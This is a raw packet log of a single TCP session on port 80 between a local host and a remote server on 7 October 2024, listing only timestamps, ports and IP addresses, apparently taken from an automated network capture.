Oct 7, 2024 03:15:40.339570045 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.339579105 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.339606047 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.339616060 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.339641094 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.339652061 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.339675903 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.339690924 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.339708090 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.339723110 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.339741945 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.339754105 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.339777946 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.339788914 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.339811087 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.339818001 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.339847088 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.339857101 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.339883089 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.339891911 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.339936972 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.339946032 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.339972019 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.339984894 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.340007067 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.340018034 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.340043068 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.340054035 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.340078115 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.340087891 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.340109110 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.340122938 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.340146065 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.340154886 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.340186119 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.340193987 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.340221882 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.340228081 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.340257883 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.340269089 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.340291977 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.340303898 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.340328932 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.340339899 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.340364933 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.340382099 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.340401888 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.340410948 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.340436935 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.340447903 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.340472937 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.340483904 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.340509892 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.340524912 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.340545893 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.340550900 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.340581894 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.340594053 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.340620041 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.340627909 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.340655088 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.340666056 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.340691090 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.340701103 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.340725899 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.340730906 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.340760946 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.340770960 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.340796947 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.340806007 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.340836048 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.340843916 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.340881109 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.361126900 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.361177921 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.361226082 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.361274958 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.361284018 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.361311913 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.361329079 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.361350060 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.361386061 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.361399889 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.361422062 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.361426115 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.361457109 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.361464977 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.361496925 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.381345987 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.381402969 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.381438017 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.381472111 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.381506920 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.381541967 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.381552935 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.381578922 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.381612062 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.381634951 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.400024891 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.400202990 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.400223970 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.400275946 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.400279045 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.400315046 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.400321960 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.400350094 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.400355101 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.400383949 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.400391102 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.400418043 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.400420904 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.400453091 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.400460958 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.400486946 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.400491953 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.400521040 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.400526047 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.400554895 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.400564909 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.400590897 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.400599003 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.400626898 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.400636911 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.400665998 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.400672913 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.400717974 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.424619913 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.424674988 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.424690962 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.424721003 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.424732924 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.424767017 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.424782991 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.424802065 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.424813986 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.424837112 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.424865007 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.424882889 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.424894094 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.424941063 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.424948931 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.424983978 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.424994946 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.425029993 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.425038099 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.425072908 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.425093889 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.425105095 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.425117970 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.425149918 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.425160885 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.425203085 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.425213099 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.425261021 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.425271034 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.425304890 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.425318956 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.425339937 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.425348043 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.425384998 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.425393105 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.425431013 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.425435066 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.425468922 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.425477028 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.425503969 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.425513983 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.425549984 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.425556898 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.425595045 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.425611019 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.425640106 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.425648928 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.425698996 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.425703049 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.425740004 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.425749063 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.425776958 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.425782919 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.425817966 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.425822973 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.425863981 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.425873041 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.425920963 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.425928116 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.425962925 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.425972939 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.426017046 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.426019907 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.426054955 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.426069021 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.426093102 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.426099062 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.426136971 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.426151991 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.426192045 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.426203012 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.426227093 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.426238060 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.426265001 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.426275969 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.426301956 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.426311016 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.426357031 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.426357985 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.426393032 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.426400900 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.426429987 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.426448107 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.426464081 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.426472902 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.426508904 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.426517010 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.426551104 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.426561117 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.426584959 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.426597118 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.426619053 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.426624060 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.426652908 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.426665068 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.426687002 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.426697016 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.426723003 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.426733017 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.426758051 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.426769018 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.426795959 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.426798105 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.426831007 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.426841021 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.426865101 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.426875114 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.426902056 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.426934958 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.426953077 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.426973104 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.426976919 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.426994085 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.427006006 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.427020073 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.427042007 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.427051067 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.427072048 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.427087069 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.427105904 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.427113056 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.427143097 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.427153111 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.427176952 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.427191019 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.427212954 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.427222967 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.427246094 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.427257061 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.427288055 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.427293062 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.427323103 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.427335024 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.427361012 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.427371025 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.427406073 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.427418947 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.427457094 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.427468061 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.427491903 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.427500010 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.427530050 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.427540064 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.427563906 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.427572966 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.427598000 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.427603960 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.427634001 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.427649021 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.427669048 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.427679062 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.427706003 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.427716970 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.427740097 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.427750111 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.427774906 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.427783012 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.427813053 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.427824974 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.427849054 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.427860022 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.427886963 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.427896023 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.427931070 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.427947998 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.427999973 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.447854042 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.447912931 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.447937965 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.447947979 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.447969913 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.447983980 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.447992086 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.448019028 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.448021889 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.448054075 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.448065996 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.448087931 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.448098898 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.448123932 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.448137999 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.448167086 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.468424082 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.468492031 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.468528986 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.468533993 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.468564987 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.468564987 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.468579054 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.468602896 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.468611002 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.468637943 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.468653917 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.468677044 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.468684912 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.468723059 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.487170935 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.487245083 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.487281084 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.487296104 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.487317085 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.487325907 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.487325907 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.487353086 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.487365007 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.487395048 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.487416983 CEST	80	49737	95.164.90.97	192.168.2.4
